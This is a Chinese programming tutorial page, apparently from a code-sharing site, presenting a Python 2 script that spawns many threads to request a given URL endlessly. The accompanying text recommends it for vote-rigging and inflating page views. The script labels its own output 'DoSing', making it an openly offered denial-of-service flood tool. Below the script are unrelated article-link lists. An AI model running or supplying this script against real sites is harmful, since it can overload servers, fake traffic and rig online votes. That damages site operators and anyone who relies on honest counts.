python使用多线程不断刷新网页的方法


Posted in Python onMarch 31, 2015

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to https://3water.com/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python实现telnet客户端的方法
Apr 15 Python
Python的Flask框架与数据库连接的教程
Apr 20 Python
用C++封装MySQL的API的教程
May 06 Python
tensorflow saver 保存和恢复指定 tensor的实例讲解
Jul 26 Python
利用python-docx模块写批量生日邀请函
Aug 26 Python
python输出pdf文档的实例
Feb 13 Python
python 对任意数据和曲线进行拟合并求出函数表达式的三种解决方案
Feb 18 Python
Python安装与卸载流程详细步骤(图解)
Feb 20 Python
Django 后台带有字典的列表数据与页面js交互实例
Apr 03 Python
python不同系统中打开方法
Jun 23 Python
详解Selenium-webdriver绕开反爬虫机制的4种方法
Oct 28 Python
python中字符串的编码与解码详析
Dec 03 Python
Python新手实现2048小游戏
Mar 31 #Python
举例介绍Python中的25个隐藏特性
Mar 30 #Python
在Python的循环体中使用else语句的方法
Mar 30 #Python
python实现2048小游戏
Mar 30 #Python
利用一个简单的例子窥探CPython内核的运行机制
Mar 30 #Python
30分钟搭建Python的Flask框架并在上面编写第一个应用
Mar 30 #Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 #Python
You might like
PHP中实现图片的锐化
2006/10/09 PHP
php实现用手机关闭计算机(电脑)的方法
2015/04/22 PHP
深入浅析PHP的session反序列化漏洞问题
2017/06/15 PHP
PHP实现打包zip并下载功能
2018/06/12 PHP
Javascript操纵Cookie实现购物车程序
2007/02/15 Javascript
理解Javascript_03_javascript全局观
2010/10/11 Javascript
把jQuery的类、插件封装成seajs的模块的方法
2014/03/12 Javascript
jquery获取tagName再进行判断
2014/05/29 Javascript
javascript自定义in_array()函数实现方法
2015/08/03 Javascript
js基于面向对象实现网页TAB选项卡菜单效果代码
2015/09/09 Javascript
基于css3新属性transform及原生js实现鼠标拖动3d立方体旋转
2016/06/12 Javascript
js实现动态创建的元素绑定事件
2016/07/19 Javascript
浅析jsopn跨域请求原理及cors(跨域资源共享)的完美解决方法
2017/02/06 Javascript
JavaScript对象_动力节点Java学院整理
2017/06/23 Javascript
angular 数据绑定之[]和{{}}的区别
2018/09/25 Javascript
jQuery实现经典的网页3D轮播图封装功能【附源码下载】
2019/02/15 jQuery
vue路由插件之vue-route
2019/06/13 Javascript
在vue中嵌入外部网站的实现
2020/11/13 Javascript
[02:50]2014DOTA2 TI预选赛预选赛 大神专访第一弹!
2014/05/21 DOTA
[03:02]2014DOTA2西雅图邀请赛 让队员自己告诉你DK NAVI备战情况
2014/07/08 DOTA
Python __setattr__、 __getattr__、 __delattr__、__call__用法示例
2015/03/06 Python
浅谈python的dataframe与series的创建方法
2018/11/12 Python
Pyinstaller 打包exe教程及问题解决
2019/08/16 Python
python分布式编程实现过程解析
2019/11/08 Python
Ubuntu16.04安装python3.6.5步骤详解
2020/01/10 Python
Python 制作查询商品历史价格的小工具
2020/10/20 Python
用python制作个音乐下载器
2021/01/30 Python
台湾网友喜爱的综合型网路购物商城:Yahoo! 奇摩购物中心
2018/03/10 全球购物
电子狗项圈:eDog Australia
2019/12/04 全球购物
用C#语言写出与SQLSERVER访问时的具体过程
2013/04/16 面试题
模特职业生涯规划范文
2014/02/26 职场文书
2014年党员自我评价材料
2014/09/22 职场文书
趣味运动会广播稿
2015/08/19 职场文书
pytorch中[..., 0]的用法说明
2021/05/20 Python
Python编写nmap扫描工具
2021/07/21 Python
Python标准库pathlib操作目录和文件
2021/11/20 Python